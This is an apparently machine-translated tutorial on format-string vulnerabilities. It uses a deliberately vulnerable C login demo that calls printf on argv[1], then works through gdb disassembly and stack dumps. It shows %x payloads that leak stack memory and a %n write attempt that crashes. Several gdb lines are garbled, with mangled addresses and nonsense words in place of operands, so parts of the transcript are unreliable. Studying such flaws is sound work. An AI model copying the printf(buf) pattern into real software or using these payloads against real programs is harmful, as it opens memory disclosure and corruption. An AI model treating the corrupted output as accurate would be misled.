Preface:To figure out the entire process, we will analyze a simple DEMO we have written to illustrate the environment: OS: BT5 R3 64 bittools: gcc, gdbsource: cProcess:Let's take a look at this simple program. It's a login verification program.
root@bt:~/code/assemble# cat login.c#include <stdio.h>#include <stdlib.h>int pout(char *buf){printf(buf);}int main( int argc,char *argv[]){char *password="MyPass";pout(argv[1]);if(0==strcmp(password,argv[1])){printf("\nLogin Success\n"); }else{printf("\nLogin Failed\n");}}Compiled by: root @ bt: gcc-g-o login. c GDB debugging: 1. set the display format to view source1 (gdb) set disassembly-flavor intel 2 in intel format. Check the main function.
(gdb) list main3 int pout(char *buf)4 {5 printf(buf);6 }7 int main( int argc,char *argv[])8 {9 char *password="MyPass";10 pout(argv[1]);11 if(0==strcmp(password,argv[1]))12 {3. Set breakpoints for easy viewing
(gdb) break mainBreakpoint 1 at 0x4005e2: file login.c, line 9.(gdb) break poutBreakpoint 2 at 0x4005c0: file login.c, line 5.(gdb) break printfBreakpoint 3 at 0x400490(gdb)
4. Run output parameters
(gdb) run AAA%x%x%x%x%x%x%x%x%xStarting program: /root/code/assemble/login AAA%x%x%x%x%x%x%x%x%xBreakpoint 1, main (argc=2, argv=0x7fffffffe438) at login.c:99 char *password="MyPass";(gdb)
5, disassembly main function can be seen <+ 4> extended stack, and then the first parameter argc (edi incoming) written to the [rbp-0x14] address, the second parameter argv writes to the top of the stack [$ rbp-0x20]
(gdb) disassemble mainDump of assembler code for function main:0x00000000004005d3 <+0>: push rbp0x00000000004005d4 <+1>: mov rbp,rsp0x00000000004005d7 <+4>: sub rsp,0x200x00000000004005db <+8>: mov DWORD PTR [rbp-0x14],edi0x00000000004005de <+11>: mov QWORD PTR [rbp-0x20],rsi=> 0x00000000004005e2 <+15>: mov QWORD PTR [rbp-0x8],0x40072c0x00000000004005ea <+23>: mov rax,QWORD PTR [rbp-0x20]0x00000000004005ee <+27>: add rax,0x80x00000000004005f2 <+31>: mov rax,QWORD PTR [rax]0x00000000004005f5 <+34>: mov rdi,rax0x00000000004005f8 <+37>: call 0x4005b4 <pout>0x00000000004005fd <+42>: mov rax,QWORD PTR [rbp-0x20]0x0000000000400601 <+46>: add rax,0x80x0000000000400605 <+50>: mov rdx,QWORD PTR [rax]0x0000000000400608 <+53>: mov rax,QWORD PTR [rbp-0x8]0x000000000040060c <+57>: mov rsi,rdx0x000000000040060f <+60>: mov rdi,rax0x0000000000400612 <+63>: call 0x4004c0 <strcmp@plt>0x0000000000400617 <+68>: test eax,eax0x0000000000400619 <+70>: jne 0x400627 <main+84>0x000000000040061b <+72>: mov edi,0x4007330x0000000000400620 <+77>: call 0x4004a0 <puts@plt>(gdb) x/10xi $rip=> 0x4005e2 <main+15>: mov QWORD PTR [rbp-0x8],0x40072c0x4005ea <main+23>: mov rax,QWORD PTR [rbp-0x20]0x4005ee <main+27>: add rax,0x80x4005f2 <main+31>: mov rax,QWORD PTR [rax]0x4005f5 <main+34>: mov rdi,rax0x4005f8 <main+37>: call 0x4005b4 <pout>0x4005fd <main+42>: mov rax,QWORD PTR [rbp-0x20]0x400601 <main+46>: add rax,0x80x400605 <main+50>: mov rdx,QWORD PTR [rax]0x400608 <main+53>: mov rax,QWORD PTR [rbp-0x8]
6. Save the local variable on the stack. Here, the pointer is saved. Run the following command to view the Verification:
(gdb) x/xs 0x40072c0x40072c: "MyPass"(gdb)
3 (gdb) $ rdi0x7fffffffe6e2: 0x2578257825414141 rows: 0x0078257825782578 rows: 0x3d52494454454b43 7, note that 0x000000000000004005db <+ 8>: mov dword ptr [rbp-0x14], edi // The first parameter ARGC0x00000000004005de <+ 11>: mov qword ptr [rbp-0x20], rsi // The second parameter ARGV => 0x000000000000004005e2 <+ 15>: mov qword ptr [rbp-0x8], 0x40072c // LOCAL variable LOCAL data0x000000000000004005ea <+ 23>: mov r Ax, qword ptr [rbp-0x20] // pass value rax = ARGV0x00000000004005ee <+ 27>: add rax, 0 × 8 // remove address, that is, ARGV [1] 0x000000000000004005f2 <+ 31>: mov rax, qword ptr [rax] 0x000000000000004005f5 <+ 34>: mov rdi, rax // prepares for passing parameters in pout functions. 8. Verify argc
(gdb) x/xd $rbp-0x140x7fffffffe33c: 2(gdb) x/xd $rdi0x2: Cannot access memory at address 0x2(gdb) print $rdi$1 = 2(gdb)
9. Verify argv. Where argv [0] is the program name and argv [1] is the first parameter.
(gdb) x/xg $rbp-0x200x7fffffffe330: 0x00007fffffffe438(gdb)(gdb) x/xg $rsi0x7fffffffe438: 0x00007fffffffe6c5
(Gdb) x/xg $ rbp-0x200x7fffffffe330: 0x00007fffffffe438 (gdb) x/xg restart: 0x00007fffffffe6c5 (gdb) x/xs restart: "/root/code/assemble/login" (gdb)
(Gdb) x/xg $ rsi + 80x7fffffffe440: 0x00007fffffffe6df (gdb) x/xs 0x00007fffffffffe6df0x7fffffe6df: "AAA % x" (gdb) 10, view breakpoint
(gdb) info breakNum Type Disp Enb Address What1 breakpoint keep y 0x00000000004005e2 in main at login.c:9breakpoint already hit 1 time2 breakpoint keep y 0x00000000004005c0 in pout at login.c:53 breakpoint keep y 0x00007ffff7aaa5c0 <printf>(gdb) list4 {5 printf(buf);6 }7 int main( int argc,char *argv[])8 {9 char *password="MyPass";10 pout(argv[1]);11 if(0==strcmp(password,argv[1]))12 {13 printf("\nLogin Success\n");11. Continue execution
(gdb) continue Continuing.Breakpoint 2, pout (buf=0x7fffffffe6df "AAA%x%x%x%x%x%x%x%x%x") at login.c:55 printf(buf);(gdb)
12. Check the next command at the breakpoint. It is clear that you have just entered pout.
(gdb) x/10xi0x7ffff7aaa5c0 <printf>: sub rsp,0xd80x7ffff7aaa5c7 <printf+7>: movzx eax,al0x7ffff7aaa5ca <printf+10>: mov QWORD PTR [rsp+0x30],rdx0x7ffff7aaa5cf <printf+15>: lea rdx,[rax*4+0x0]0x7ffff7aaa5d7 <printf+23>: lea rax,[rip+0x44] # 0x7ffff7aaa622 <printf+98>0x7ffff7aaa5de <printf+30>: mov QWORD PTR [rsp+0x28],rsi0x7ffff7aaa5e3 <printf+35>: mov QWORD PTR [rsp+0x38],rcx0x7ffff7aaa5e8 <printf+40>: mov rsi,rdi0x7ffff7aaa5eb <printf+43>: sub rax,rdx0x7ffff7aaa5ee <printf+46>: lea rdx,[rsp+0xcf](gdb)(gdb) disassemble poutDump of assembler code for function pout:0x00000000004005b4 <+0>: push rbp0x00000000004005b5 <+1>: mov rbp,rsp0x00000000004005b8 <+4>: sub rsp,0x100x00000000004005bc <+8>: mov QWORD PTR [rbp-0x8],rdi=> 0x00000000004005c0 <+12>: mov rax,QWORD PTR [rbp-0x8]0x00000000004005c4 <+16>: mov rdi,rax0x00000000004005c7 <+19>: mov eax,0x00x00000000004005cc <+24>: call 0x400490 <printf@plt>0x00000000004005d1 <+29>: leave 0x00000000004005d2 <+30>: ret End of assembler dump.(gdb)
13. argv [1] is passed as a parameter.
(gdb) x/xg $rbp-0x80x7fffffffe318: 0x00007fffffffe6df(gdb)(gdb) x/xg $rdi0x7fffffffe6df: 0x2578257825414141(gdb) x/xs $rdi0x7fffffffe6df: "AAA%x%x%x%x%x%x%x%x%x"(gdb)
14. view the current stack structure
(gdb) x/20xg $rsp0x7fffffffe310: 0x00007fffffffe450 0x00007fffffffe6df0x7fffffffe320: 0x00007fffffffe350 0x00000000004005fd0x7fffffffe330: 0x00007fffffffe438 0x00000002004004d00x7fffffffe340: 0x00007fffffffe430 0x000000000040072c0x7fffffffe350: 0x0000000000000000 0x00007ffff7a78c4d0x7fffffffe360: 0x0000000000000000 0x00007fffffffe4380x7fffffffe370: 0x0000000200000000 0x00000000004005d30x7fffffffe380: 0x0000000000000000 0xb4d76a842c69e9fe0x7fffffffe390: 0x00000000004004d0 0x00007fffffffe4300x7fffffffe3a0: 0x0000000000000000 0x0000000000000000
15. Execute the following command to the breakpoint printf.
(Gdb) continue Continuing. breakpoint 3, 0x00007ffff7aaa5c0 in printf () from/lib/libc. so.6Breakpoint 3, 0x00007ffff7aaa5c0 in printf () from/lib/libc. so.6 (gdb) x/counter: (bad) 0x7fffffffe3b1: jmp cursor: sub byte ptr [rbx-0x2], cl0x7fffffffffe3b9: jmp cursor: sub byte ptr [rbx + 0x0], authorization: add byte ptr [rax], al0x7fffffffe3c3: add bh, bh0x7fffffffe3c5: jg authorization: add byte ptr [rax], al0x7fffffffe3c9: add byte ptr [rax], al (gdb) disassemble printfDump of aggreger code for function printf :=> 0x00007ffff7aaa5c0 <+ 0>: sub rsp, latency <+ 7>: movzx eax, al0x00007ffff7aaa5ca <+ 10>: mov qword ptr [rsp + 0x30], rdx0x00007ffff7aaa5cf <+ 15>: lea rdx, [rax * 4 + 0x0] 0x00007ffff7aaa5d7 <+ 23>: lea rax, [rip + 0x44] #0x7ffff7aaa622 <printf + 98> 0x00007ffff7aaa5de <+ 30>: mov qword ptr [rsp + 0x28], rsi (gdb) x/xg $ rsi0x7fffffffe438: 0x00007fffffffe6c5 (gdb) x/xs restart: "/root/code/assemble/login" (gdb) // parameter (gdb) x/xs $ rdi0x7fffffffe6df: "AAA % x" (gdb)
16. Check the stack structure again. From diassemble pout, we can see that 0x000000000000004005d1 is the next instruction of call printf, that is, the address rip + 1 executed after the function returns. push rip
(gdb) x/20xg $rsp0x7fffffffe308: 0x00000000004005d1 0x00007fffffffe4500x7fffffffe318: 0x00007fffffffe6df 0x00007fffffffe3500x7fffffffe328: 0x00000000004005fd 0x00007fffffffe4380x7fffffffe338: 0x00000002004004d0 0x00007fffffffe4300x7fffffffe348: 0x000000000040072c 0x00000000000000000x7fffffffe358: 0x00007ffff7a78c4d 0x00000000000000000x7fffffffe368: 0x00007fffffffe438 0x00000002000000000x7fffffffe378: 0x00000000004005d3 0x00000000000000000x7fffffffe388: 0xb4d76a842c69e9fe 0x00000000004004d00x7fffffffe398: 0x00007fffffffe430 0x0000000000000000(gdb) disassemble poutDump of assembler code for function pout:0x00000000004005b4 <+0>: push rbp0x00000000004005b5 <+1>: mov rbp,rsp0x00000000004005b8 <+4>: sub rsp,0x100x00000000004005bc <+8>: mov QWORD PTR [rbp-0x8],rdi0x00000000004005c0 <+12>: mov rax,QWORD PTR [rbp-0x8]0x00000000004005c4 <+16>: mov rdi,rax0x00000000004005c7 <+19>: mov eax,0x00x00000000004005cc <+24>: call 0x400490 <printf@plt>0x00000000004005d1 <+29>: leave 0x00000000004005d2 <+30>: ret End of assembler dump.
17. Check the register value, because in 64-bit linux, parameters are first transmitted using registers.
(gdb) info registers rax 0x0 0rbx 0x0 0rcx 0x0 0rdx 0x7fffffffe450 140737488348240rsi 0x7fffffffe438 140737488348216rdi 0x7fffffffe6df 140737488348895rbp 0x7fffffffe320 0x7fffffffe320rsp 0x7fffffffe308 0x7fffffffe308r8 0x7ffff7dd8300 140737351877376r9 0x7ffff7dec250 140737351959120r10 0x7fffffffe0b0 140737488347312r11 0x7ffff7aaa5c0 140737348543936r12 0x4004d0 4195536r13 0x7fffffffe430 140737488348208r14 0x0 0r15 0x0 0rip 0x7ffff7aaa5c0 0x7ffff7aaa5c0 <printf>eflags 0x202 [ IF ]cs 0x33 51ss 0x2b 43ds 0x0 0es 0x0 0fs 0x0 0---Type <return> to continue, or q <return> to quit---
18. output result:
(gdb) continue Continuing.AAAffffe438ffffe4500f7dd8300f7dec250ffffe450ffffe6dfffffe3504005fdLogin FailedProgram exited with code 016.
19. Result Analysis AAA 127ffffe450 0 f7dd8300 f7dec250 ffffe450 ffffe6df ffffe350 4005 fdrsi rdx rcx r8 r9 zhan return address of pout in main here, in linux 64bit, the following registers are used for parameter transfer in turn, and the stack is used only when these six registers are used up and more parameters are available. Therefore, this is equivalent to using ten parameters, therefore, there are four parameters on the stack. $ Rdi $ rsi $ rdx $ rcx $ r8 $ r9
(gdb) disassemble mainDump of assembler code for function main:0x00000000004005d3 <+0>: push rbp0x00000000004005d4 <+1>: mov rbp,rsp0x00000000004005d7 <+4>: sub rsp,0x200x00000000004005db <+8>: mov DWORD PTR [rbp-0x14],edi0x00000000004005de <+11>: mov QWORD PTR [rbp-0x20],rsi0x00000000004005e2 <+15>: mov QWORD PTR [rbp-0x8],0x40072c0x00000000004005ea <+23>: mov rax,QWORD PTR [rbp-0x20]0x00000000004005ee <+27>: add rax,0x80x00000000004005f2 <+31>: mov rax,QWORD PTR [rax]0x00000000004005f5 <+34>: mov rdi,rax0x00000000004005f8 <+37>: call 0x4005b4 <pout>0x00000000004005fd <+42>: mov rax,QWORD PTR [rbp-0x20]0x0000000000400601 <+46>: add rax,0x80x0000000000400605 <+50>: mov rdx,QWORD PTR [rax]0x0000000000400608 <+53>: mov rax,QWORD PTR [rbp-0x8]0x000000000040060c <+57>: mov rsi,rdx0x000000000040060f <+60>: mov rdi,rax
40072c = "MyPass" add 4% x = 13% x can be read to 40072c through more % x, because it is not far from the stack, view source1 can be read with 13th % x parameters. /login AAA % x result: fail 2 Login Failed. /login AAA % x % s result: fail 2 Login Failed Finally, we can use % n to write the length of this character to that address, so that we can modify the password. However, during the experiment, we found that it could not be modified. View source1 root @ bt :~ /Code/c #. /login AAA %. 200x %. 300x % x % n 2 Segmentation fault code zone values cannot be modified and understandable. memory properties, however, this should point to the data zone and cannot be written. It was originally an experiment that eventually changed the password value, not just a display, at least I still don't know how to write it, so this is the only option for the moment. Conclusion: 1. the Formatting Vulnerability may have functions: fprintf, sprintf, snprintf, vprintf, vfprintf, vsprintf, vsnprintf 2, gdb usage 3, and parameter transfer methods in linux 64bit function calls, use six registers first and then stack 4. Formatting: printf (XXX. XX % n, address) writes the string length to the data % pointed to by address. 200 x fill length with 0 before display, so that the length can become longer. 5. I like linux